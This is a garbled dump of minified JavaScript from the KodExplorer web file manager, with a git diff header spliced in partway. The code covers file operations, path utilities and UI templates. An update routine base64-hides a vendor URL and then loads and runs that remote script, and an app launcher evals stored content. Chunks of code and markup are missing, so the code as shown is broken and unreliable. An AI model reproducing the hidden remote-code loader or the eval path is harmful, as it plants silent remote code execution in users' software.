a=_(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(a,function(e){var i=g("path",a[e].path);void 0!=i&&(a[e].type="share",a[e].path=i.sid)}),i.remove(a,m,e,t)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(t){var a=trim($(this).text());t!=e.length-1?i.favRemove(a,"",!0):i.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&i.copy(_(!0))},cute:function(){n()&&i.cute(_(!0),ui.f5)},zip:function(e){i.zip(_(!0),m,e)},unZip:function(e){n()&&i.unZip(_().path,ui.f5,e)},cuteDrag:function(e){i.cuteDrag(_(!0),e,m)},copyDrag:function(e,t){i.copyDrag(_(!0),e,m,t)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(_(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(_(!0),e,m)})},info:function(){i.info(_(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),i.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+_().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:i.clipboard}}),define("app/common/pathOperate",[],function(e){var i=["/","\\",":","*","?",'"',"<",">","|"],t=["/","\\"],a=function(e){var a=function(e,i){for(var t=i.length,a=0;t>a;a++)if(e.indexOf(i[a])>0)return!0;return!1},n=t;return G.system_os&&"windows"==G.system_os&&(n=i),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var i=[],t=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)i.push({type:t(e[a].type),path:urlEncode(t(e[a].path))});return"data_arr="+jsonEncode(i)},o=function(e,i){for(var t="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,i.length)>a;a++)if(e.charAt(a)!=i.charAt(a)){var n=t.indexOf(e.charAt(a)),o=t.indexOf(i.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>i.charAt(a)?1:e.charAt(a)
c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&e&&e.info&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0)}},l=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof i&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&e&&e.info&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0)}},c=function(e,i,t){return e&&i&&e!=i?a(core.pathThis(i))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(i),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0):void 0},d=function(e,i,t,a){if(t=void 0==t?!1:t,a=void 0==a?!1:a,!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=n(e);"share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),a&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e.length>1&&(s+=' ... '+e.length+" ");
diff --git a/static/js/app/src/edit/main.js b/static/js/app/src/edit/main.js
index 5d74a40..027605f 100755
--- a/static/js/app/src/edit/main.js
+++ b/static/js/app/src/edit/main.js
@@ -1,6 +1,6 @@
-/*! power by kodexplorer ver3.42(2017-04-07) [build 1491568966742] */
+/*! power by kodexplorer ver3.42(2017-04-08) [build 1491589321217] */
var animate_time=160;define("app/src/edit/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/core","./edit","./preview","./preview_markdown","./function_list","./markdownTools","lib/ace/src-min-noconflict/ext-modelist","./taskTap","./toolbar"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),Editor=e("./edit"),Tap=e("./taskTap"),Toolbar=e("./toolbar"),rightMenu=Tap.rightMenu,$(document).ready(function(){core.init(),Editor.init(),Toolbar.init(),Tap.init(),e.async("lib/code_beautify"),$("a,img").attr("draggable","false"),setTimeout(function(){t()},300);var t=function(){var e=window.location.href.indexOf("#filename=");if(e>0){var t=window.location.href.substr(e+"#filename=".length);return Editor.add(t),void 0}Editor.getParentEditor(function(e){for(var t=e.ui.fileHistory(),i=0;t.length>i;i++)Editor.add(t[i]);0==t.length&&Editor.add("")})};$(window).bind("resize",function(){Tap.resetWidth("resize")}),navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i)&&"1"===Cookie.get("forceWap")&&$("body").addClass("forceWap"),window.onbeforeunload=function(){return Editor.hasFileSave()?LNG.if_save_file:void 0}})}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g," ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置 请联系主机商或网管,检查防火墙配置!"),t=''+t+"
",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a=" ";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(' '),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+' '+' '+' '+' '+' '+' '+' loading..
';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s=""},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n \n \n \n {{\'folder\' |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | window.htmlEncode}} \n {{v.search_info.length}} \n \n
\n \n {{each v.search_info as value index}}\n \n {{value.line}}: \n {{#value.str | searchResultPrase}} \n \n {{/each}}\n \n \n {{else}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'\n
\n
\n
\n
\n
{{LNG.upload_select}}
\n \n
select Folder
\n
\n \n \n \n \n
\n
\n \n
\n
\n {{LNG.upload_clear_all}} \n {{LNG.upload_clear}} \n
\n
\n
\n
\n
\n
\n
\n
{{LNG.download_address}}
\n
\n {{LNG.download}} \n \n \n Dropdown \n \n \n
\n\n
\n
\n
\n
\n
\n'),define("app/common/tpl/fileinfo/file_info.html",[],"\n {{if download_path}}\n
\n
{{LNG.download_address}}:
\n
\n
\n
\n {{LNG.open}} \n \n
\n
\n
\n
\n
\n {{/if}}\n\n
\n
{{LNG.address}}:
\n
{{path |window.htmlEncode}}
\n
\n
\n
\n
{{LNG.size}}:
\n
{{size_friendly}} ({{size}} Byte)
\n
\n
\n\n {{if file_md5}}\n
\n
MD5:
\n
{{file_md5}}
\n
\n
\n {{/if}}\n\n {{if image_size}}\n
\n
{{LNG.image_size}}:
\n
{{image_size.width}} × {{image_size.height}}
\n
\n
\n {{/if}}\n\n
\n\n {{if ctime}}\n
\n
{{LNG.create_time}}
\n
{{ctime}}
\n
\n
\n {{/if}}\n\n {{if mtime}}\n
\n
{{LNG.modify_time}}
\n
{{mtime}}
\n
\n
\n {{/if}}\n\n {{if atime}}\n
\n
{{LNG.last_time}}
\n
{{atime}}
\n
\n
\n {{/if}}\n \n {{if mode}}\n
\n
\n
{{LNG.permission}}:
\n
{{mode}}
\n
\n
\n {{if is_root==\"1\"}}\n
\n
{{LNG.permission_edit}}:
\n
\n {{LNG.button_save}}
\n
\n
\n {{/if}}\n {{/if}}\n
\n"),define("app/common/tpl/fileinfo/path_info.html",[],"\n
\n
{{LNG.address}}:
\n
{{path |window.htmlEncode}}
\n
\n
\n
\n
{{LNG.size}}:
\n
{{size_friendly}} ({{size}} Byte)
\n
\n
\n
\n
{{LNG.contain}}:
\n
{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
\n
\n
\n \n
\n {{if ctime}}\n
\n
{{LNG.create_time}}
\n
{{ctime}}
\n
\n
\n {{/if}}\n\n {{if mtime}}\n
\n
{{LNG.modify_time}}
\n
{{mtime}}
\n
\n
\n {{/if}}\n\n {{if atime}}\n
\n
{{LNG.last_time}}
\n
{{atime}}
\n
\n
\n {{/if}}\n\n {{if mode}}\n
\n
\n
{{LNG.permission}}:
\n
{{mode}}
\n
\n
\n {{if is_root==\"1\"}}\n
\n
{{LNG.permission_edit}}:
\n
\n {{LNG.button_save}}
\n
\n
\n {{/if}}\n {{/if}}\n
\n"),define("app/common/tpl/zipview.html",[],''),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+" ");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+" "+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)
